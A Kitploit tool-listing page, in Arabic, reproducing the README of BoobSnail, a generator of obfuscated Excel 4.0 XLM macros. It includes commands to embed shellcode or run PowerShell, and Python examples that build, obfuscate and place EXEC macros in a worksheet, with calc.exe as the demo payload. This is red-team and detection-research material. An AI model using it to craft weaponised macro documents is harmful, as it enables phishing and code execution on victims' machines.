Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
boobsnail — توليد وحدات ماكرو XLM الخاصة بـ Excel 4.0 بشكل مبهم لعمليات الفريق الأحمر وتحليل الفريق الأزرق، مع دعم لتقنيات الإصابة المتعددة، وترجمة الصيغ، والمولدات المخصصة القائمة على المكتبات. | Kitploit
أدوات/GitHubGitHub/stmcyber/boobsnail
أدوات التصيدتوليد الحمولةاختبار الاختراقالهندسة الاجتماعيةالفريق الأحمر
GitHubstmcyber/boobsnail

boobsnail

توليد وحدات ماكرو XLM الخاصة بـ Excel 4.0 بشكل مبهم لعمليات الفريق الأحمر وتحليل الفريق الأزرق، مع دعم لتقنيات الإصابة المتعددة، وترجمة الصيغ، والمولدات المخصصة القائمة على المكتبات.

عرض المستودع
25649منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

License

تابعنا على تويتر!

BoobSnail

BoobSnail يتيح إنشاء ماكرو XLM (Excel 4.0). يهدف إلى دعم فريقي RedTeam و BlueTeam في توليد ماكرو XLM. الميزات:

  • تقنيات إصابة متنوعة؛
  • تقنيات تعتيم متنوعة؛
  • ترجمة الصيغ إلى لغات أخرى غير الإنجليزية؛
  • يمكن استخدامه كمكتبة - يمكنك بسهولة كتابة المولد الخاص بك.

البناء والتشغيل

تم الاختبار على: Python 3.8.7rc1

root@kitploit:~
pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

استخدام المولدات

root@kitploit:~
python boobsnail.py <generator> -h

لعرض المولدات المتاحة، اكتب:

root@kitploit:~
python boobsnail.py

أمثلة

توليد ماكرو معتم يحقن شيل كود x64 أو x86:

root@kitploit:~
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv

توليد ماكرو معتم يشغل calc.exe:

root@kitploit:~
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

حفظ المخرجات في Excel

  1. أفرغ المخرجات إلى ملف CSV.
  2. انسخ محتوى ملف CSV.
  3. شغّل Excel وأنشئ ورقة عمل جديدة.
  4. أضف ماكرو Excel 4.0 جديد (انقر بزر الماوس الأيمن على Sheet1 ← Insert ← MS Excel 4.0 Macro).
  5. الصق المحتوى في الخلية A1 أو R1C1.
  6. انقر على Data ← Text to Columns.
  7. انقر Next ← اضبط الفاصلة المنقوطة كفاصل وانقر Finish.

استخدام المكتبة

BoobSnail يشارك مكتبة excel4lib التي تتيح إنشاء مولد ماكرو Excel4 الخاص بك. تحتوي excel4lib على عدة فئات يمكن استخدامها أثناء كتابة المولد:

  • excel4lib.macro.Excel4Macro - يتيح تعريف صيغ Excel4، قيم، متغيرات؛
  • excel4lib.macro.obfuscator.Excel4Obfuscator - يتيح تعتيم التعليمات المنشأة في Excel4Macro؛
  • excel4lib.lang.Excel4Translator - يتيح ترجمة الصيغ إلى لغة أخرى.

الفكرة الرئيسية لهذه المكتبة هي تمثيل صيغ Excel4، المتغيرات، وسيطات الصيغ، والقيم ككائنات Python. بفضل ذلك يمكنك تغيير سمات التعليمات مثل أسماء الصيغ أو المتغيرات، القيم، العناوين، إلخ بطريقة سهلة. على سبيل المثال، لنقم بإنشاء ماكرو بسيط يشغل calc.exe:

root@kitploit:~
from excel4lib.macro import *
# إنشاء كائن الماكرو
macro = Excel4Macro("test.csv")
# إضافة متغير باسم cmd بقيمة "calc.exe" إلى ورقة العمل
cmd = macro.variable("cmd", "calc.exe")
# إضافة صيغة EXEC مع الوسيطة cmd
macro.formula("EXEC", cmd)
# تفريغ إلى CSV
print(macro.to_csv())

النتيجة:

root@kitploit:~
cmd="calc.exe";
=EXEC(cmd);

الآن لنقل أنك تريد تعتيم الماكرو الخاص بك. لفعل ذلك، فقط تحتاج إلى استيراد المعتم وتمريره إلى كائن Excel4Macro:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# إنشاء كائن الماكرو
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# إضافة متغير باسم cmd بقيمة "calc.exe" إلى ورقة العمل
cmd = macro.variable("cmd", "calc.exe")
# إضافة صيغة EXEC مع الوسيطة cmd
macro.formula("EXEC", cmd)
# تفريغ إلى CSV
print(macro.to_csv())

لحاليًا، تشارك excel4lib فئتي تعتيم:

  • excel4lib.macro.obfuscator.Excel4Obfuscator تستخدم دوال Excel 4.0 مثل BITXOR، SUM، إلخ لتعتيم الماكرو؛
  • excel4lib.macro.obfuscator.Excel4Rc4Obfuscator تستخدم تشفير RC4 لتعتيم الصيغ.

كما ترى، يمكنك كتابة فئة التعتيم الخاصة بك واستخدامها في Excel4Macro.

أحيانًا ستحتاج إلى ترجمة الماكرو إلى لغة أخرى، مثلاً لغتك الأم، في حالتي البولندية. مع excel4lib هذا سهل جدًا. تحتاج فقط إلى استيراد فئة Excel4Translator واستدعاء set_language:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# تغيير اللغة
Excel4Translator.set_language("pl_PL")
# إنشاء كائن الماكرو
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# إضافة متغير باسم cmd بقيمة "calc.exe" إلى ورقة العمل
cmd = macro.variable("cmd", "calc.exe")
# إضافة صيغة EXEC مع الوسيطة cmd
macro.formula("EXEC", cmd)
# تفريغ إلى CSV
print(macro.to_csv())

النتيجة:

root@kitploit:~
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

حاليًا، يتم دعم اللغتين الإنجليزية والبولندية فقط. إذا أردت استخدام لغة أخرى، يجب إضافة الترجمات في دليل excel4lib/lang/langs.

بالتأكيد، ستحتاج إلى إنشاء صيغة تأخذ صيغة أخرى كوسيطة. يمكنك فعل ذلك باستخدام دالة Excel4Macro.argument.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# إضافة متغير باسم cmd بقيمة "calc" إلى ورقة العمل
cmd_1 = macro.variable("cmd", "calc")
# إضافة خلية تحتوي على ".exe" كقيمة
cmd_2 = macro.value(".exe")
# إنشاء صيغة CONCATENATE التي تدمج cmd_1 و cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# تمرير استدعاء CONCATENATE كوسيطة لصيغة EXEC
macro.formula("EXEC", exec_arg)
# تفريغ إلى CSV
print(macro.to_csv())

النتيجة:

root@kitploit:~
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

كما ترى، تم تمرير السلسلة ".exe" إلى صيغة CONCATENATE كـ R2C1. R2C1 هو عنوان القيمة ".exe" (رقم الصف 2 ورقم العمود 1). excel4lib تعيد المراجع للصيغ والقيم كعناوين. المراجع للمتغيرات تعاد كأسمائها. ربما لاحظت أن فئة Excel4Macro تضيف الصيغ والمتغيرات والقيم إلى ورقة العمل تلقائيًا بالترتيب الذي يتم إنشاء هذه الكائنات به، وأن عنوان البداية هو R1C1. ماذا لو أردت وضع الصيغ في عمود أو صف آخر؟ يمكنك فعل ذلك باستدعاء دالة Excel4Macro.set_cords.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# العمود 1
# إضافة متغير باسم cmd بقيمة "calc" إلى ورقة العمل
cmd_1 = macro.variable("cmd", "calc")
# إضافة خلية تحتوي على ".exe" كقيمة
cmd_2 = macro.value(".exe")
# العمود 2
# تغيير الإحداثيات إلى العمود 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# تمرير استدعاء CONCATENATE كوسيطة لصيغة EXEC
exec_call = macro.formula("EXEC", exec_arg)
# العمود 1
# العودة إلى العمود 1. تغيير الإحداثيات إلى العمود 1 والصف 3
macro.set_cords(1,3)
# الانتقال إلى استدعاء EXEC
macro.goto(exec_call)
# تفريغ إلى CSV
print(macro.to_csv())

النتيجة:

root@kitploit:~
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

المؤلف

mzer0 من فريق stm_cyber!

المقالات

الخطوة الأولى في Excel 4.0 لفريق Red Team

BoobSnail - مولد ماكرو Excel 4.0

تنزيل الأداة